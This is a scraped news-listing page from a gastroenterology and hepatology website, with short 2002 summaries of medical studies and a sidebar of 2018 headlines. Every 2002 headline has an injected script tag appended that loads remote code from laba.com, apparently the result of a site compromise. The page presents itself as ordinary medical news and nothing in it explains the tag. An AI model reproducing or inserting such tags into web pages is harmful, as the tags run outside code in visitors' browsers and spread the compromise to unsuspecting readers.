Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 21 May 2018

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Mucinous cystic tumors of the pancreas 25 November 2002
Mucinous cystic tumors of the pancreas<script src=http://laba.com/muuu.s></script> Signal intensity on T1-weighted magnetic resonance images provides highly useful diagnostic information on mucinous cystic tumors of the pancreas, find researchers from Sapporo, Japan.
Full story
High-dose, single-agent irinotecan as first-line therapy for metastatic colorectal cancer 25 November 2002
Irinotecan for metastatic colorectal cancer<script src=http://laba.com/muuu.s></script> High-dose irinotecan is safe as first-line monotherapy for approximately two-thirds of patients who present with advanced colorectal cancer, find a research team in the November issue of Cancer Chemotherapy and Pharmacology.
Full story
Long-term effects of Botox are still unknown 22 November 2002
Long-term effects of Botox<script src=http://laba.com/muuu.s></script> Although the negative side effects of Botox are few, its very long-term effects are still unknown, warns a neurology expert in this week's British Medical Journal.
Full story
Extended transthoracic versus limited transhiatal resection for esophageal adenocarcinoma 22 November 2002
Surgical options for esophageal carcinoma<script src=http://laba.com/muuu.s></script> Transhiatal esophagectomy is associated with lower morbidity than transthoracic esophagectomy in surgery for esophageal cancer, find a research team from the Netherlands.
Full story
Folic acid could prevent heart disease 22 November 2002
Folic acid may prevent heart disease<script src=http://laba.com/muuu.s></script> Folic acid could reduce the risks of heart disease, deep vein thrombosis, and stroke, find researchers in this week's British Medical Journal.
Full story
Colorectal cancer screening using double-contrast barium enema 21 November 2002
Barium enema for colorectal cancer<script src=http://laba.com/muuu.s></script> Many diagnostic radiologists screen for colorectal cancer using double-contrast barium enema, however low procedure volumes may be due to primary care physicians' less positive view, find researchers in the December issue of the American Journal of Roentgenology.
Full story
Quality of life in patients treated with transjugular intrahepatic portosystemic shunts 21 November 2002
Quality of life in patients treated with TIPS<script src=http://laba.com/muuu.s></script> TIPS has positive efficacy both for controlling bleeding or ascites and for improving the quality of life, find researchers in the latest issue of the American Journal of Roentgenology.
Full story
De novo HBV infection in liver transplantation with hepatitis B core antibody positive donors 21 November 2002
Prevention of <I>de novo</I> HBV in liver transplant<script src=http://laba.com/muuu.s></script> Lamivudine for patients receiving anti-HBc positive liver grafts is a simple, inexpensive and effective prophylactic regimen for prevention of de novo HBV infection, find researchers in the December issue of Clinical Transplantation.
Full story
Efficacy and safety of oral naltrexone treatment for pruritus of cholestasis 20 November 2002
Oral naltrexone for pruritus of cholestasis<script src=http://laba.com/muuu.s></script> Naltrexone can be considered as an alternative treatment for pruritus of cholestasis, find researchers in the December issue of the Journal of Hepatology.
Full story
Primary operative gastrostomy or PEG in progressive esophageal carcinomas? 20 November 2002
Primary operative gastrostomy in esophageal cancer<script src=http://laba.com/muuu.s></script> In certain cases of progressive esophageal carcinoma, an operative gastrostomy should be considered to avoid a possible metastasis resection, find researchers in the November issue of Der Chirurg.
Full story
Serpiginous choroidopathy: an unusual association with Crohn's disease 20 November 2002
Serpiginous choroidopathy association with Crohn's<script src=http://laba.com/muuu.s></script> Researchers from the Eastbourne District Hospital, Eastbourne, England, find a possible link between serpiginous choroidopathy and Crohn's disease.
Full story
HIV-1 disease progression in individuals with hemophilia coinfected with HCV 19 November 2002
HIV-1 in patients with hemophilia and HCV<script src=http://laba.com/muuu.s></script> Low concentrations of albumin in individuals infected with HIV-1 may indicate a poor outlook and should prompt concern at any stage of infection, find researchers in the latest issue of the Lancet.
Full story
Association between body mass index and liver disorders 19 November 2002
Body mass index and liver disorders<script src=http://laba.com/muuu.s></script> Researchers in the December issue of the Journal of Hepatology find that obesity is associated with a modest increase in the incidence of newly diagnosed liver disorders.
Full story
Changing international trends in mortality rates for liver, biliary and pancreatic tumors 19 November 2002
Mortality rate trends for liver, biliary and pancreatic tumors<script src=http://laba.com/muuu.s></script> Researchers from England find a previously unreported rise in age-standardized mortality rates from intrahepatic cholangiocarcinoma.
Full story
The role of lamivudine in severe flare-up of chronic hepatitis B with jaundice 18 November 2002
Lamivudine in chronic hepatitis B<script src=http://laba.com/muuu.s></script> Researchers in the November issue of the Journal of Viral Hepatitis find that lamivudine confers no survival benefit to conventional treatment in severe exacerbations of chronic hepatitis B.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865

Go to top of page Email this page Email this page to a colleague

 18 May 2018 
Esophageal dilatation in clinical practice 
 17 May 2018 
IBD and later extraintestinal manifestations
 17 May 2018 
Repeat stool DNA testing
 17 May 2018 
IBS and chronic fatigue following GI infection
 16 May 2018 
Factors associated with fecal incontinence
 16 May 2018 
Diagnostic delay in Crohn's disease
 16 May 2018 
Cardiovascular risk in diabetes mellitus with NAFLD
 15 May 2018 
Guidelines for management of Crohn's
 15 May 2018 
Hep B in the Grey Zone
 15 May 2018 
New therapies for CDI
 14 May 2018 
Blood test for the diagnosis of fibrotic NASH
 14 May 2018 
Outcomes at bariatric centers of excellence
 14 May 2018 
Management of perianal fistulas in Crohn’s
 11 May 2018 
Detection of undiagnosed celiac disease
 11 May 2018 
Alcohol consumption and drug-induced liver injury
 11 May 2018 
Depressive symptoms in IBD youth
 10 May 2018 
Post‐operative complications in elderly IBD
 10 May 2018 
Colorectal cancer screening
 10 May 2018 
Fibrosis in patients with chronic hepatitis B
 09 May 2018 
Fecal incontinence
 09 May 2018 
Health problems and IBS
 09 May 2018 
Esophageal dilatation in clinical practice 
 07 May 2018 
Omitting antibiotics in uncomplicated acute diverticulitis
 07 May 2018 
Health problems and IBS
 07 May 2018 
Assessment of diminutive colorectal polyps
 04 May 2018 
Factors associated with fecal incontinence
 04 May 2018 
National Institutes of Health workshop and obesity
 04 May 2018 
Colorectal cancer screening and ethnic inequities
 03 May 2018 
Gastrointestinal ultrasound in IBD
 03 May 2018 
PPI use and cognitive decline
 03 May 2018 
Ultransonography in postsurgical recurrence in Crohn's
 02 May 2018 
Symptom assessment in cirrhotic ascites
 02 May 2018 
Hep C antiviral treatment and liver cancer risk
 02 May 2018 
Chronic Hep B
 01 May 2018 
European guidelines on pancreatic cystic neoplasms
 01 May 2018 
Interferon‐free regimens in Hep C
 01 May 2018 
Age at IBD onset and extraintestinal complications
 30 April 2018 
Formula for preterm infants
 30 April 2018 
Primary antibiotic resistance and sequential therapy for H. pylori
 30 April 2018 
Patient-reported outcome measures in IBD trials
 27 April 2018 
Anxiety scale for chronic esophageal disease
 27 April 2018 
Disease activity in eosinophilic esophagitis
 27 April 2018 
Eastern and western practices for endoscopic resection of colorectal lesions
 26 April 2018 
Obesity and physical activity in diverticulosis
 26 April 2018 
Fecal incontinence and quality of life in IBD
 26 April 2018 
Primary sclerosing cholangitis in the USA
 25 April 2018 
Aspirin and pancreatic cancer
 25 April 2018 
Central mediators of irinotecan-induced steatohepatitis
 25 April 2018 
Neuroimaging in Hep C
 24 April 2018 
Scoring system identifies cancer risk in Barrett's
 24 April 2018 
Microbiome in athletes vs sedentary subjects
 24 April 2018 
PPI and risk of stroke
 23 April 2018 
Genome-wide study on HBV-related acute-on-chronic liver failure
 23 April 2018 
Antibody suitable for further clinical development to complement existing therapeutic strategies for HCV
 23 April 2018 
Sleep deprivation and NAFLD in the USA
 20 April 2018 
Two annexin A11 epitopes targeted by IgG1 and IgG4 autoantibodies were shared between patients with IAC/AIP and IgG4 antibodies blocked binding of IgG1 antibodies to the shared annexin A11 epitopes
 20 April 2018 
Adalimumab with azathioprine in Crohn's
 20 April 2018 
Worldwide H.pylori prevalence
 19 April 2018 
c-Myc expression and pancreatic cancer
 19 April 2018 
Olmesartan prescription in the USA

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2018 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us